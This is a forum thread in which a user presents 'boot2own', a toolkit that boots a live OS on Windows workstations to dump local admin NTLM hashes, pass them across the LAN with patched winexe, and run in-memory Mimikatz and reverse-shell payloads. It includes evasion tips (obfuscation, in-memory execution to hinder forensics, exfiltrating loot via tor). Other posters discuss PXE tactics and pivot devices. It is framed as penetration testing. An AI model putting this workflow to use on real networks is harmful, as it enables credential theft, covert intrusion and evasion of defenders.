New Toolkit

[xor-function]

After looking around, it seem this forum seems pretty balanced morally but also innovative.

So I decided to present this toolkit here.

It's started out as something simple but grew quickly. let me know if it has any bug's

and what you think of this, thoughts opinions. I know there will be many typos.

It's on git hub as the repo boot2own under user xor-function.

github(dot)com / xor-function / boot2own

The contents of the ABOUT file

Apologies in advance is this is not the proper place for this.

SUMMARY

B2O is a toolkit that generates a live OS from a crunchbang iso. From this live

environment attacks are performed on the HDD to gain NTLM hashes to leverage in

additional attacks against a network.

Used crunchbang-11-20130506-i686.iso successfully to

generate liveCD.

Used Ubuntu Server x86 12.04 successfully to compile patched winexe

So use Ubuntu Server/Desktop x86 12.04 to compile binary for i686

crunchbang iso.

Tested only on Hard drive with Windows 7 installed

SHELL SCRIPTS:

b2o-compile.sh

compiles the patch winexe binaries that allow

hash passing

b2o-isogen.sh

uses a crunchbang iso to generate a remastered

iso live OS (B2O) with the automated attack tools.

b2o-pxe.sh

Creates a pxe server that serves the remastered

B2O live OS.

b2o-listener.sh

starts a meterpreter listener with the configured

options to msfconsole, use with option 3 in the

B2O live OS.

(Requires Metaspliot to be installed along with

system_migrate.rb)

b2o-autopwn.sh

Attack engine, this script only runs in the

live OS environment and provides a terminal

menu with automated attack options.

LIVE OS:

The live OS chosen is CrunchBang Linux (I like it)

The live filesystem is a squashfs filesystem.

To remaster/mod it install squashfs-tools and genisoimage.

To make a live USB use Unetbootin as the dd method fails.

The expanded filesystem.squashfs was mounted an chrooted into

to install the following packages:

arp-scan

lighttpd

The core files that make the B2O live environment:

root

│

└─ boot-2-own

├── boot2own-autopwn.sh

├── creddump

│ ├── cachedump.py

│ ├── CHANGELOG

│ ├── COPYING

│ ├── framework

│ ├── lsadump.py

│ ├── pwdump.py

│ └── README

├── CREDITS-B2O

└── pwinexe

A terminator shell is loaded on boot by modding (/etc/skel/.config/openbox/autostart)

the following line was appended to the autostart file:

--------------------------------------------------------------------------------------------------------------------

terminator --geometry=750x600 -e 'sudo /bin/bash -c /root/boot-2-own/b2o-autopwn.sh' &

--------------------------------------------------------------------------------------------------------------------

Once B2O is booted up on a domain computer it boot2own-autopwn.sh automatically

mounts the hard drive and then reads the local hashes using

creddump (written by Brendan Dolan-Gavitt).

Booting a live OS on a computer can be done by a USB device but a more promising

method is PXE. This is practical as it is simple to make an arm SoC (beagle bone/Rasp Pi)

serve B2O over PXE. Also there is no need to leave any physical media attached to

the used PC after the OS is loaded into RAM. Once booted it singles out the local

administration user name and it's corresponding NTLM hash and imports

these as variables.

Winexe is the one of the only programs that enable cli interaction with

Windows computers from Linux. Unlike Psexec it does not pass hashes I used the

samba-hashpass.patch from the smbexec project (Eric Milam & Martin Bos)

and created a custom build/compile script to create a patched winexe binary

(rename to pwinexe to prevent confusion).

Now the user and hash variables can then be passed to a function using pwinexe for

additional machine access.

The patched winexe also has the option to run as SYSTEM along with

the option to uninstall itself from the machine upon command completion.

POST EXPLOITATION

Once the local admin username and hash are retrieved boot2own-autopwn.sh

it acquires the ip address of other computers in the LAN using arp-scan.

Once this is done you are presented with payload options for pwinexe.

I chose powershell as the attacks can be completely in memory. This makes forensics

and IR quite difficult especially since the attack platform itself is in memory (boot disk/PXE).

This seems to be the least likely method to be caught by AV solutions. Although to

reduce the chance of detection further one can try obfuscation, base64 encoding after

adding unused random variables into the command string.

The PS payloads used in B2O are Invoke-Mimikatz (written by Joe Bialek) and

Invoke-Shellcode (written by Matthew Graeber) both are part of PowerSploit. More

details about theses scripts are located in the credits.

To use these payloads without writing to disk, they must not be copied over prior to use.

To insure the powershell payloads are only run in memory I employed a lighttpd web server

to host the payloads. Now they can be retrieved and copied to an expression or variable

in memory before execution.

The Auto-Off option:

This is an optional feature that powers off the live OS Session after a selected

payload finishes performing an execution run on the detected IP's in the LAN. This can

be useful as one can turn off the monitor then leave and let the live OS session power

itself off after it finishes it's run.

Invoke-Mimikatz

reflectively loads Mimikatz in memory using powershell allowing

the ability to acquire plain text passwords the results are copied to the file

/root/loot in the B2O live file system

To rsync/http-put-get through tor/i2p/etc.. this file to an external server just append the

necessary code before the while loop ends at the bottom of boot2own-autopwn.sh.

Invoke-Shellcode

makes it possible to have reverse system shells connect to

the specified IP or domain.

It depends on MSF windows/meterpreter/reverse_https

shell multi handler.

It also depends on a modified version of smart_migrate, a Metasploit manage module.

The modified module is named system_migrate.rb and is included in the folder.

It's priority is to migrate out of powershell to an existing NT AUTHORITY/ SYSTEM

process to maintain this permissions level. If it is not able to migrate out of

powershell the patched winexe process will hang as powershell remains active.

CAVEATS

All of the following parameters must exist for success.

The victim network IT Department uses the local administrator user account on domain computers.

There is no hard disk encryption being used on the selected workstation.

Their workstations boot to PXE or their BIOS is unlocked.

[digininja]

That all sounds very impressive and a nice way to automate something that I occasionally get to do on tests. Don't know when I'll get time but I'll definitely have a play with it.

[digininja]

The only thing I will add is that you have to remember you are competing against the real DHCP server so may not win every time. When I do it I plug the two machines directly together which takes the real DHCP server out of the picture but would also stop all your other LAN attacks. I've got a small hub that can be placed between the two machines and the LAN connection but that fails when they have port security on which detects multiple MACs on the same port and shuts it down.

[xor-function]

A rouge DHCP server is not used on their network as you would not want this being served to random users,

only the accessed workstation in front of the tester.

But PXE is still used....

This is accomplished by employing an SoC device (rasp pi/beagle bone) or laptop and

using a short Ethernet patch cable directly into the machine from the device/laptop.

Here is an example.

This, obviously can be configured in a more discreet manner.

Once the OS is loaded just reconnect the workstation back to the original network.

Use a device with a gigabit Ethernet port for speed (about 3 min) otherwise it could take 10 min

to load the OS.

[digininja]

Thats the way I do it except I go to my laptop not a Pi and I can then either plug the machine back into the network or use iptables to forward the traffic out of a second interface so I can monitor it all.

[xor-function]

Let me expand further over how this is used.

what is automated is the immediate extraction of NTLM hashes from the local admin.

How this is used by the patch winexe binary is up to you. Some example payloads

using powershell are provided, but this is just to convey what can be done.

Here is a screen shot of the terminal menu of the live OS.

Once a option is selected the execution run is automated.

If you don't want that then before generating the iso.

edit b2o-autopwn.sh to select an option automatically with your customization.

It's designed to be customized that's why there is no iso provided only build scripts.

This toolkit is for a tester that is able to infiltrate the physical location of

the client's network, it doesn't need to be the server room to get a SYSTEM level foothold

(janitorial dept workstation).

It is made to do this rather quickly.

So if a tester is able to gain entry to a client's build for about 20 min, ideally 10 min,

you know what can come next.

This is designed to bypass

USB protections

BIOS protections (it's usually locked to PXE boot)

Firewall protections

IDS and AV (arp used once / winexe)

Cleaning up is easy as most is done in memory.

[GuardMoony]

Thats the way I do it except I go to my laptop not a Pi and I can then either plug the machine back into the network or use iptables to forward the traffic out of a second interface so I can monitor it all.

A other option is maybe use a device with dual ethernet? and setting this up to bridge or route trafic between the ports. This way you could intercept the dhcp requests, but still leave the normal network traffic flowing. Also you could leave to device behind and maybe use it as a pivot point. You could even go further and change the script so it would remember devices it penetrated.

Edited November 19, 2014 by GuardMoony

[digininja]

That is what I said, I use a second interface and forward traffic through it.

[GuardMoony]

yeah srry was a bit slow over the last part of the text. It would make for a nice and interesting penetration tactic. Esp if you could like put it in between a backbone.

[digininja]

If you did that on a real test you'd have to be very confident that it was working 100% or you'd be kicked out immediately.

[xor-function]

The code is public, do the necessary testing to be confident yourself.

So far the concept seems to be more than theory.

I already have a boot disk/usb/pxe prototypes.

Obviously this still needs live testing but this is a good start.

[xor-function]

I added a download link for a demo iso.

It's in the README of the boot2own git repo posted above for anyone that's interested.

Let me know if you have any issues.

I've also thought about decreasing the time for PXE booting.

The way that would work would be by booting the PLOP boot manager (plpbt.bin is around 50kb) instantly over PXE

bypassing any locked BIOS to use a live usb.

The catch is that live usb stick's need to remain attached to the PC.

To get around this copy the entire file system to ram, now removing the usb after boot would not affect the live OS session.

I might be able to get the load time down noticeably.

Then continue as before.

To do this on crunchbang would require a patch to the initrd.img, maybe use debirf to generate

a custom initrd to avoid patches?

I might add slax to the mix as copy2ram is a supported feature that apparently only requires 320MB of ram to work.

I have been messing with it and so far it's just dependencies that are a problem.

I'll update the git repo when I figure something out and have time to build it.